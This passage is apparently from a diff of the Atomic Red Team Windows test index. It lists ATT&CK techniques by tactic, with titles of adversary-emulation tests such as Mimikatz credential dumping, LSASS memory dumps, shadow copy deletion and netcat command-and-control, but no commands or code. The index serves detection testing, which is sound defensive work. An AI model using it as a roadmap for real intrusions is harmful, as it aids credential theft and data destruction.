Atomic Test #5: svchost writing a file to a UNC path [windows] +- T1178 SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1053 Scheduled Task](./T1053/T1053.md) + - Atomic Test #1: At.exe Scheduled task [windows] + - Atomic Test #2: Scheduled task Local [windows] + - Atomic Test #3: Scheduled task Remote [windows] + - Atomic Test #4: Powershell Cmdlet Scheduled Task [windows] +- [T1058 Service Registry Permissions Weakness](./T1058/T1058.md) + - Atomic Test #1: Service Registry Permissions Weakness [windows] +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1100 Web Shell](./T1100/T1100.md) + - Atomic Test #1: Web Shell Written to Disk [windows] + +# persistence +- [T1015 Accessibility Features](./T1015/T1015.md) + - Atomic Test #1: Attaches Command Prompt as a Debugger to a List of Target Processes [windows] +- [T1098 Account Manipulation](./T1098/T1098.md) + - Atomic Test #1: Admin Account Manipulate [windows] +- T1182 AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1103 AppInit DLLs](./T1103/T1103.md) + - Atomic Test #1: Install AppInit Shim [windows] +- [T1138 Application Shimming](./T1138/T1138.md) + - Atomic Test #1: Application Shim Installation [windows] + - Atomic Test #2: New shim database files created in the default shim database directory [windows] + - Atomic Test #3: Registry key creation and/or modification events for SDB [windows] +- T1131 Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1197 BITS Jobs](./T1197/T1197.md) + - Atomic Test #1: Bitsadmin Download (cmd) [windows] + - Atomic Test #2: Bitsadmin Download (PowerShell) [windows] + - Atomic Test #3: Persist, Download, & Execute [windows] +- T1067 Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1176 Browser Extensions](./T1176/T1176.md) + - Atomic Test #1: Chrome (Developer Mode) [linux, windows, macos] + - Atomic Test #2: Chrome (Chrome Web Store) [linux, windows, macos] + - Atomic Test #3: Firefox [linux, windows, macos] +- [T1042 Change Default File Association](./T1042/T1042.md) + - Atomic Test #1: Change Default File Association [windows] +- T1109 Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1122 Component Object Model Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1136 Create Account](./T1136/T1136.md) + - Atomic Test #3: Create a new user in a command prompt [windows] + - Atomic Test #4: Create a new user in PowerShell [windows] +- [T1038 DLL Search Order Hijacking](./T1038/T1038.md) + - Atomic Test #1: DLL Search Order Hijacking - amsi.dll [windows] +- T1133 External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1044 File System Permissions Weakness](./T1044/T1044.md) + - Atomic Test #1: File System Permissions Weakness [windows] +- [T1158 Hidden Files and Directories](./T1158/T1158.md) + - Atomic Test #3: Create Windows System File with Attrib [windows] + - Atomic Test #4: Create Windows Hidden File with Attrib [windows] + - Atomic Test #8: Create ADS command prompt [windows] + - Atomic Test #9: Create ADS PowerShell [windows] +- [T1179 Hooking](./T1179/T1179.md) + - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] +- [T1062 Hypervisor](./T1062/T1062.md) + - Atomic Test #1: Installing Hyper-V Feature [windows] +- [T1183 Image File Execution Options Injection](./T1183/T1183.md) + - Atomic Test #1: IFEO Add Debugger [windows] + - Atomic Test #2: IFEO Global Flags [windows] +- T1177 LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1037 Logon Scripts](./T1037/T1037.md) + - Atomic Test #1: Logon Scripts [windows] + - Atomic Test #2: Scheduled Task Startup Script [windows] + - Atomic Test #4: Supicious vbs file run from startup Folder [windows] + - Atomic Test #5: Supicious jse file run from startup Folder [windows] + - Atomic Test #6: Supicious bat file run from startup Folder [windows] +- [T1031 Modify Existing Service](./T1031/T1031.md) + - Atomic Test #1: Modify Fax service to run PowerShell [windows] +- [T1128 Netsh Helper DLL](./T1128/T1128.md) + - Atomic Test #1: Netsh Helper DLL Registration [windows] +- [T1050 New Service](./T1050/T1050.md) + - Atomic Test #1: Service Installation [windows] + - Atomic Test #2: Service Installation PowerShell [windows] +- [T1137 Office Application Startup](./T1137/T1137.md) + - Atomic Test #1: DDEAUTO [windows] +- T1034 Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1013 Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1504 PowerShell Profile](./T1504/T1504.md) + - Atomic Test #1: Append malicious start-process cmdlet [windows] +- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1060 Registry Run Keys / Startup Folder](./T1060/T1060.md) + - Atomic Test #1: Reg Key Run [windows] + - Atomic Test #2: Reg Key RunOnce [windows] + - Atomic Test #3: PowerShell Registry RunOnce [windows] +- T1198 SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1053 Scheduled Task](./T1053/T1053.md) + - Atomic Test #1: At.exe Scheduled task [windows] + - Atomic Test #2: Scheduled task Local [windows] + - Atomic Test #3: Scheduled task Remote [windows] + - Atomic Test #4: Powershell Cmdlet Scheduled Task [windows] +- [T1180 Screensaver](./T1180/T1180.md) + - Atomic Test #1: Set Arbitrary Binary as Screensaver [windows] +- [T1101 Security Support Provider](./T1101/T1101.md) + - Atomic Test #1: Modify SSP configuration in registry [windows] +- [T1505 Server Software Component](./T1505/T1505.md) + - Atomic Test #1: Install MS Exchange Transport Agent Persistence [windows] +- [T1058 Service Registry Permissions Weakness](./T1058/T1058.md) + - Atomic Test #1: Service Registry Permissions Weakness [windows] +- [T1023 Shortcut Modification](./T1023/T1023.md) + - Atomic Test #1: Shortcut Modification [windows] + - Atomic Test #2: Create shortcut to cmd in startup folders [windows] +- T1019 System Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1209 Time Providers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1100 Web Shell](./T1100/T1100.md) + - Atomic Test #1: Web Shell Written to Disk [windows] +- [T1084 Windows Management Instrumentation Event Subscription](./T1084/T1084.md) + - Atomic Test #1: Persistence [windows] +- [T1004 Winlogon Helper DLL](./T1004/T1004.md) + - Atomic Test #1: Winlogon Shell Key Persistence - PowerShell [windows] + - Atomic Test #2: Winlogon Userinit Key Persistence - PowerShell [windows] + - Atomic Test #3: Winlogon Notify Key Logon Persistence - PowerShell [windows] + +# impact +- [T1531 Account Access Removal](./T1531/T1531.md) + - Atomic Test #1: Change User Password - Windows [windows] + - Atomic Test #2: Delete User - Windows [windows] +- [T1485 Data Destruction](./T1485/T1485.md) + - Atomic Test #1: Windows - Delete Volume Shadow Copies [windows] + - Atomic Test #2: Windows - Delete Windows Backup Catalog [windows] + - Atomic Test #3: Windows - Disable Windows Recovery Console Repair [windows] + - Atomic Test #4: Windows - Overwrite file with Sysinternals SDelete [windows] + - Atomic Test #6: Windows - Delete Backup Files [windows] +- T1486 Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1491 Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1488 Disk Content Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1487 Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1499 Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1495 Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1490 Inhibit System Recovery](./T1490/T1490.md) + - Atomic Test #1: Windows - Delete Volume Shadow Copies [windows] + - Atomic Test #2: Windows - Delete Volume Shadow Copies via WMI [windows] + - Atomic Test #3: Windows - Delete Windows Backup Catalog [windows] + - Atomic Test #4: Windows - Disable Windows Recovery Console Repair [windows] + - Atomic Test #5: Windows - Delete Volume Shadow Copies via WMI with PowerShell [windows] +- T1498 Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1496 Resource Hijacking](./T1496/T1496.md) +- T1494 Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1489 Service Stop](./T1489/T1489.md) + - Atomic Test #1: Windows - Stop service using Service Controller [windows] + - Atomic Test #2: Windows - Stop service using net.exe [windows] + - Atomic Test #3: Windows - Stop service by killing process [windows] +- T1492 Stored Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1529 System Shutdown/Reboot](./T1529/T1529.md) + - Atomic Test #1: Shutdown System - Windows [windows] + - Atomic Test #2: Restart System - Windows [windows] +- T1493 Transmitted Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# discovery +- [T1087 Account Discovery](./T1087/T1087.md) + - Atomic Test #8: Enumerate all accounts [windows] + - Atomic Test #9: Enumerate all accounts via PowerShell [windows] + - Atomic Test #10: Enumerate logged on users [windows] + - Atomic Test #11: Enumerate logged on users via PowerShell [windows] +- [T1010 Application Window Discovery](./T1010/T1010.md) + - Atomic Test #1: List Process Main Windows - C# .NET [windows] +- [T1217 Browser Bookmark Discovery](./T1217/T1217.md) + - Atomic Test #4: List Google Chrome Bookmarks on Windows with powershell [windows] + - Atomic Test #5: List Google Chrome Bookmarks on Windows with command prompt [windows] +- [T1482 Domain Trust Discovery](./T1482/T1482.md) + - Atomic Test #1: Windows - Discover domain trusts with dsquery [windows] + - Atomic Test #2: Windows - Discover domain trusts with nltest [windows] + - Atomic Test #3: Powershell enumerate domains and forests [windows] +- [T1083 File and Directory Discovery](./T1083/T1083.md) + - Atomic Test #1: File and Directory Discovery (cmd.exe) [windows] + - Atomic Test #2: File and Directory Discovery (PowerShell) [windows] +- [T1046 Network Service Scanning](./T1046/T1046.md) +- [T1135 Network Share Discovery](./T1135/T1135.md) + - Atomic Test #2: Network Share Discovery command prompt [windows] + - Atomic Test #3: Network Share Discovery PowerShell [windows] + - Atomic Test #4: View available share drives [windows] +- [T1040 Network Sniffing](./T1040/T1040.md) + - Atomic Test #3: Packet Capture Windows Command Prompt [windows] + - Atomic Test #4: Packet Capture PowerShell [windows] +- [T1201 Password Policy Discovery](./T1201/T1201.md) + - Atomic Test #5: Examine local password policy - Windows [windows] + - Atomic Test #6: Examine domain password policy - Windows [windows] +- T1120 Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1069 Permission Groups Discovery](./T1069/T1069.md) + - Atomic Test #2: Basic Permission Groups Discovery Windows [windows] + - Atomic Test #3: Permission Groups Discovery PowerShell [windows] + - Atomic Test #4: Elevated group enumeration using net group [windows] +- [T1057 Process Discovery](./T1057/T1057.md) + - Atomic Test #2: Process Discovery - tasklist [windows] +- [T1012 Query Registry](./T1012/T1012.md) + - Atomic Test #1: Query Registry [windows] +- [T1018 Remote System Discovery](./T1018/T1018.md) + - Atomic Test #1: Remote System Discovery - net [windows] + - Atomic Test #2: Remote System Discovery - net group Domain Computers [windows] + - Atomic Test #3: Remote System Discovery - nltest [windows] + - Atomic Test #4: Remote System Discovery - ping sweep [windows] + - Atomic Test #5: Remote System Discovery - arp [windows] + - Atomic Test #8: Remote System Discovery - nslookup [windows] +- [T1063 Security Software Discovery](./T1063/T1063.md) + - Atomic Test #1: Security Software Discovery [windows] + - Atomic Test #2: Security Software Discovery - powershell [windows] + - Atomic Test #4: Security Software Discovery - Sysmon Service [windows] + - Atomic Test #5: Security Software Discovery - AV Discovery via WMI [windows] +- [T1518 Software Discovery](./T1518/T1518.md) + - Atomic Test #1: Find and Display Internet Explorer Browser Version [windows] + - Atomic Test #2: Applications Installed [windows] +- [T1082 System Information Discovery](./T1082/T1082.md) + - Atomic Test #1: System Information Discovery [windows] + - Atomic Test #6: Hostname Discovery (Windows) [windows] + - Atomic Test #8: Windows MachineGUID Discovery [windows] +- [T1016 System Network Configuration Discovery](./T1016/T1016.md) + - Atomic Test #1: System Network Configuration Discovery [windows] + - Atomic Test #2: List Windows Firewall Rules [windows] + - Atomic Test #4: System Network Configuration Discovery (TrickBot Style) [windows] + - Atomic Test #5: List Open Egress Ports [windows] +- [T1049 System Network Connections Discovery](./T1049/T1049.md) + - Atomic Test #1: System Network Connections Discovery [windows] + - Atomic Test #2: System Network Connections Discovery with PowerShell [windows] +- [T1033 System Owner/User Discovery](./T1033/T1033.md) + - Atomic Test #1: System Owner/User Discovery [windows] +- [T1007 System Service Discovery](./T1007/T1007.md) + - Atomic Test #1: System Service Discovery [windows] + - Atomic Test #2: System Service Discovery - net.exe [windows] +- [T1124 System Time Discovery](./T1124/T1124.md) + - Atomic Test #1: System Time Discovery [windows] + - Atomic Test #2: System Time Discovery - PowerShell [windows] +- T1497 Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# credential-access +- [T1098 Account Manipulation](./T1098/T1098.md) + - Atomic Test #1: Admin Account Manipulate [windows] +- [T1110 Brute Force](./T1110/T1110.md) + - Atomic Test #1: Brute Force Credentials [windows] +- [T1003 Credential Dumping](./T1003/T1003.md) + - Atomic Test #1: Powershell Mimikatz [windows] + - Atomic Test #2: Gsecdump [windows] + - Atomic Test #3: Windows Credential Editor [windows] + - Atomic Test #4: Registry dump of SAM, creds, and secrets [windows] + - Atomic Test #5: Dump LSASS.exe Memory using ProcDump [windows] + - Atomic Test #6: Dump LSASS.exe Memory using Windows Task Manager [windows] + - Atomic Test #7: Offline Credential Theft With Mimikatz [windows] + - Atomic Test #8: Dump Active Directory Database with NTDSUtil [windows] + - Atomic Test #9: Create Volume Shadow Copy with NTDS.dit [windows] + - Atomic Test #10: Copy NTDS.dit from Volume Shadow Copy [windows] + - Atomic Test #11: GPP Passwords (findstr) [windows] + - Atomic Test #12: GPP Passwords (Get-GPPPassword) [windows] + - Atomic Test #13: LSASS read with pypykatz [windows] + - Atomic Test #14: Registry parse with pypykatz [windows] +- T1503 Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1081 Credentials in Files](./T1081/T1081.md) + - Atomic Test #3: Extracting passwords with findstr [windows] + - Atomic Test #4: Access unattend.xml [windows] +- [T1214 Credentials in Registry](./T1214/T1214.md) + - Atomic Test #1: Enumeration for Credentials in Registry [windows] + - Atomic Test #2: Enumeration for PuTTY Credentials in Registry [windows] +- T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1187 Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1179 Hooking](./T1179/T1179.md) + - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] +- [T1056 Input Capture](./T1056/T1056.md) + - Atomic Test #1: Input Capture [windows] +- [T1141 Input Prompt](./T1141/T1141.md) + - Atomic Test #2: PowerShell - Prompt User for Password [windows] +- [T1208 Kerberoasting](./T1208/T1208.md) + - Atomic Test #1: Request for service tickets [windows] +- T1171 LLMNR/NBT-NS Poisoning and Relay [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1040 Network Sniffing](./T1040/T1040.md) + - Atomic Test #3: Packet Capture Windows Command Prompt [windows] + - Atomic Test #4: Packet Capture PowerShell [windows] +- [T1174 Password Filter DLL](./T1174/T1174.md) + - Atomic Test #1: Install and Register Password Filter DLL [windows] +- [T1145 Private Keys](./T1145/T1145.md) + - Atomic Test #1: Private Keys [windows] +- T1539 Steal Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1111 Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# lateral-movement +- T1017 Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1175 Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1210 Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1534 Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1037 Logon Scripts](./T1037/T1037.md) + - Atomic Test #1: Logon Scripts [windows] + - Atomic Test #2: Scheduled Task Startup Script [windows] + - Atomic Test #4: Supicious vbs file run from startup Folder [windows] + - Atomic Test #5: Supicious jse file run from startup Folder [windows] + - Atomic Test #6: Supicious bat file run from startup Folder [windows] +- [T1075 Pass the Hash](./T1075/T1075.md) + - Atomic Test #1: Mimikatz Pass the Hash [windows] + - Atomic Test #2: crackmapexec Pass the Hash [windows] +- [T1097 Pass the Ticket](./T1097/T1097.md) + - Atomic Test #1: Mimikatz Kerberos Ticket Attack [windows] +- [T1076 Remote Desktop Protocol](./T1076/T1076.md) + - Atomic Test #1: RDP [windows] + - Atomic Test #2: RDPto-DomainController [windows] +- [T1105 Remote File Copy](./T1105/T1105.md) + - Atomic Test #7: certutil download (urlcache) [windows] + - Atomic Test #8: certutil download (verifyctl) [windows] + - Atomic Test #9: Windows - BITSAdmin BITS Download [windows] + - Atomic Test #10: Windows - PowerShell Download [windows] + - Atomic Test #11: OSTAP Worming Activity [windows] +- T1021 Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1091 Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1051 Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1080 Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1077 Windows Admin Shares](./T1077/T1077.md) + - Atomic Test #1: Map admin share [windows] + - Atomic Test #2: Map Admin Share PowerShell [windows] + - Atomic Test #3: Copy and Execute File with PsExec [windows] + - Atomic Test #4: Execute command writing output to local Admin Share [windows] +- [T1028 Windows Remote Management](./T1028/T1028.md) + - Atomic Test #1: Enable Windows Remote Management [windows] + - Atomic Test #2: PowerShell Lateral Movement [windows] + - Atomic Test #3: WMIC Process Call Create [windows] + - Atomic Test #4: Psexec [windows] + - Atomic Test #5: Invoke-Command [windows] + +# collection +- [T1123 Audio Capture](./T1123/T1123.md) + - Atomic Test #1: using device audio capture commandlet [windows] +- [T1119 Automated Collection](./T1119/T1119.md) + - Atomic Test #1: Automated Collection Command Prompt [windows] + - Atomic Test #2: Automated Collection PowerShell [windows] + - Atomic Test #3: Recon information for export with PowerShell [windows] + - Atomic Test #4: Recon information for export with Command Prompt [windows] +- [T1115 Clipboard Data](./T1115/T1115.md) + - Atomic Test #1: Utilize Clipboard to store or execute commands from [windows] + - Atomic Test #2: PowerShell [windows] +- [T1074 Data Staged](./T1074/T1074.md) + - Atomic Test #1: Stage data from Discovery.bat [windows] + - Atomic Test #3: Zip a Folder with PowerShell for Staging in Temp [windows] +- T1213 Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1005 Data from Local System](./T1005/T1005.md) +- T1039 Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1025 Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1114 Email Collection](./T1114/T1114.md) + - Atomic Test #1: T1114 Email Collection with PowerShell [windows] +- [T1056 Input Capture](./T1056/T1056.md) + - Atomic Test #1: Input Capture [windows] +- T1185 Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1113 Screen Capture](./T1113/T1113.md) +- T1125 Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# exfiltration +- T1020 Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1002 Data Compressed](./T1002/T1002.md) + - Atomic Test #1: Compress Data for Exfiltration With PowerShell [windows] + - Atomic Test #2: Compress Data for Exfiltration With Rar [windows] +- [T1022 Data Encrypted](./T1022/T1022.md) + - Atomic Test #2: Compress Data and lock with password for Exfiltration with winrar [windows] + - Atomic Test #3: Compress Data and lock with password for Exfiltration with winzip [windows] + - Atomic Test #4: Compress Data and lock with password for Exfiltration with 7zip [windows] +- [T1030 Data Transfer Size Limits](./T1030/T1030.md) +- [T1048 Exfiltration Over Alternative Protocol](./T1048/T1048.md) + - Atomic Test #4: Exfiltration Over Alternative Protocol - ICMP [windows] +- T1041 Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1011 Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1052 Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1029 Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# execution +- [T1191 CMSTP](./T1191/T1191.md) + - Atomic Test #1: CMSTP Executing Remote Scriptlet [windows] + - Atomic Test #2: CMSTP Executing UAC Bypass [windows] +- [T1059 Command-Line Interface](./T1059/T1059.md) +- [T1223 Compiled HTML File](./T1223/T1223.md) + - Atomic Test #1: Compiled HTML Help Local Payload [windows] + - Atomic Test #2: Compiled HTML Help Remote Payload [windows] +- T1175 Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1196 Control Panel Items](./T1196/T1196.md) + - Atomic Test #1: Control Panel Items [windows] +- [T1173 Dynamic Data Exchange](./T1173/T1173.md) + - Atomic Test #1: Execute Commands [windows] + - Atomic Test #2: Execute PowerShell script via Word DDE [windows] +- T1106 Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1129 Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1203 Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1061 Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1118 InstallUtil](./T1118/T1118.md) + - Atomic Test #1: CheckIfInstallable method call [windows] + - Atomic Test #2: InstallHelper method call [windows] + - Atomic Test #3: InstallUtil class constructor method call [windows] + - Atomic Test #4: InstallUtil Install method call [windows] + - Atomic Test #5: InstallUtil Uninstall method call - /U variant [windows] + - Atomic Test #6: InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall' variant [windows] + - Atomic Test #7: InstallUtil HelpText method call [windows] + - Atomic Test #8: InstallUtil evasive invocation [windows] +- T1177 LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1170 Mshta](./T1170/T1170.md) + - Atomic Test #1: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject [windows] + - Atomic Test #2: Mshta calls a local VBScript file to launch notepad.exe [windows] + - Atomic Test #3: Mshta executes VBScript to execute malicious command [windows] + - Atomic Test #4: Mshta Executes Remote HTML Application (HTA) [windows] +- [T1086 PowerShell](./T1086/T1086.md) + - Atomic Test #1: Mimikatz [windows] + - Atomic Test #2: BloodHound [windows] + - Atomic Test #3: Obfuscation Tests [windows] + - Atomic Test #4: Mimikatz - Cradlecraft PsSendKeys [windows] + - Atomic Test #5: Invoke-AppPathBypass [windows] + - Atomic Test #6: PowerShell Add User [windows] + - Atomic Test #7: Powershell MsXml COM object - no prompt [windows] + - Atomic Test #8: Powershell MsXml COM object - with prompt [windows] + - Atomic Test #9: Powershell XML requests [windows] + - Atomic Test #10: Powershell invoke mshta.exe download [windows] + - Atomic Test #11: Powershell Invoke-DownloadCradle [windows] + - Atomic Test #12: PowerShell Fileless Script Execution [windows] + - Atomic Test #13: PowerShell Downgrade Attack [windows] + - Atomic Test #14: NTFS Alternate Data Stream Access [windows] +- [T1121 Regsvcs/Regasm](./T1121/T1121.md) + - Atomic Test #1: Regasm Uninstall Method Call Test [windows] + - Atomic Test #2: Regsvs Uninstall Method Call Test [windows] +- [T1117 Regsvr32](./T1117/T1117.md) + - Atomic Test #1: Regsvr32 local COM scriptlet execution [windows] + - Atomic Test #2: Regsvr32 remote COM scriptlet execution [windows] + - Atomic Test #3: Regsvr32 local DLL execution [windows] +- [T1085 Rundll32](./T1085/T1085.md) + - Atomic Test #1: Rundll32 execute JavaScript Remote Payload With GetObject [windows] + - Atomic Test #2: Rundll32 execute VBscript command [windows] + - Atomic Test #3: Rundll32 advpack.dll Execution [windows] + - Atomic Test #4: Rundll32 ieadvpack.dll Execution [windows] + - Atomic Test #5: Rundll32 syssetup.dll Execution [windows] + - Atomic Test #6: Rundll32 setupapi.dll Execution [windows] +- [T1053 Scheduled Task](./T1053/T1053.md) + - Atomic Test #1: At.exe Scheduled task [windows] + - Atomic Test #2: Scheduled task Local [windows] + - Atomic Test #3: Scheduled task Remote [windows] + - Atomic Test #4: Powershell Cmdlet Scheduled Task [windows] +- [T1064 Scripting](./T1064/T1064.md) + - Atomic Test #2: Create and Execute Batch Script [windows] +- [T1035 Service Execution](./T1035/T1035.md) + - Atomic Test #1: Execute a Command as a Service [windows] + - Atomic Test #2: Use PsExec to execute a command on a remote host [windows] +- [T1218 Signed Binary Proxy Execution](./T1218/T1218.md) + - Atomic Test #1: mavinject - Inject DLL into running process [windows] + - Atomic Test #2: SyncAppvPublishingServer - Execute arbitrary PowerShell code [windows] + - Atomic Test #3: Register-CimProvider - Execute evil dll [windows] + - Atomic Test #4: Msiexec.exe - Execute Local MSI file [windows] + - Atomic Test #5: Msiexec.exe - Execute Remote MSI file [windows] + - Atomic Test #6: Msiexec.exe - Execute Arbitrary DLL [windows] + - Atomic Test #7: Odbcconf.exe - Execute Arbitrary DLL [windows] + - Atomic Test #8: InfDefaultInstall.exe .inf Execution [windows] +- [T1216 Signed Script Proxy Execution](./T1216/T1216.md) + - Atomic Test #1: PubPrn.vbs Signed Script Bypass [windows] + - Atomic Test #2: SyncAppvPublishingServer Signed Script PowerShell Command Execution [windows] + - Atomic Test #3: manage-bde.wsf Signed Script Command Execution [windows] +- T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1127 Trusted Developer Utilities](./T1127/T1127.md) + - Atomic Test #1: MSBuild Bypass Using Inline Tasks [windows] +- [T1204 User Execution](./T1204/T1204.md) + - Atomic Test #1: OSTap Style Macro Execution [windows] + - Atomic Test #2: Maldoc choice flags command execution [windows] + - Atomic Test #3: OSTAP JS version [windows] +- [T1047 Windows Management Instrumentation](./T1047/T1047.md) + - Atomic Test #1: WMI Reconnaissance Users [windows] + - Atomic Test #2: WMI Reconnaissance Processes [windows] + - Atomic Test #3: WMI Reconnaissance Software [windows] + - Atomic Test #4: WMI Reconnaissance List Remote Services [windows] + - Atomic Test #5: WMI Execute Local Process [windows] + - Atomic Test #6: WMI Execute Remote Process [windows] +- [T1028 Windows Remote Management](./T1028/T1028.md) + - Atomic Test #1: Enable Windows Remote Management [windows] + - Atomic Test #2: PowerShell Lateral Movement [windows] + - Atomic Test #3: WMIC Process Call Create [windows] + - Atomic Test #4: Psexec [windows] + - Atomic Test #5: Invoke-Command [windows] +- [T1220 XSL Script Processing](./T1220/T1220.md) + - Atomic Test #1: MSXSL Bypass using local files [windows] + - Atomic Test #2: MSXSL Bypass using remote files [windows] + - Atomic Test #3: WMIC bypass using local XSL file [windows] + - Atomic Test #4: WMIC bypass using remote XSL file [windows] + +# command-and-control +- T1043 Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1092 Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1090 Connection Proxy](./T1090/T1090.md) + - Atomic Test #2: portproxy reg key [windows] +- T1094 Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1024 Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1132 Data Encoding](./T1132/T1132.md) +- T1001 Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1172 Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1483 Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1008 Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1104 Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1188 Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1026 Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1079 Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1219 Remote Access Tools](./T1219/T1219.md) + - Atomic Test #1: TeamViewer Files Detected Test on Windows [windows] +- [T1105 Remote File Copy](./T1105/T1105.md) + - Atomic Test #7: certutil download (urlcache) [windows] + - Atomic Test #8: certutil download (verifyctl) [windows] + - Atomic Test #9: Windows - BITSAdmin BITS Download [windows] + - Atomic Test #10: Windows - PowerShell Download [windows] + - Atomic Test #11: OSTAP Worming Activity [windows] +- [T1071 Standard Application Layer Protocol](./T1071/T1071.md) + - Atomic Test #1: Malicious User Agents - Powershell [windows] + - Atomic Test #2: Malicious User Agents - CMD [windows] + - Atomic Test #4: DNS Large Query Volume [windows] + - Atomic Test #5: DNS Regular Beaconing [windows] + - Atomic Test #6: DNS Long Domain Query [windows] + - Atomic Test #7: DNS C2 [windows] + - Atomic Test #8: OSTap Payload Download [windows] +- [T1032 Standard Cryptographic Protocol](./T1032/T1032.md) + - Atomic Test #1: OpenSSL C2 [windows] +- [T1095 Standard Non-Application Layer Protocol](./T1095/T1095.md) + - Atomic Test #1: ICMP C2 [windows] + - Atomic Test #2: Netcat C2 [windows] + - Atomic Test #3: Powercat C2 [windows] +- [T1065 Uncommonly Used Port](./T1065/T1065.md) + - Atomic Test #1: Testing usage of uncommonly used port with PowerShell [windows] +- [T1102 Web Service](./T1102/T1102.md) + - Atomic Test #1: Reach out to C2 Pointer URLs via command_prompt [windows] + - Atomic Test #2: Reach out to C2 Pointer 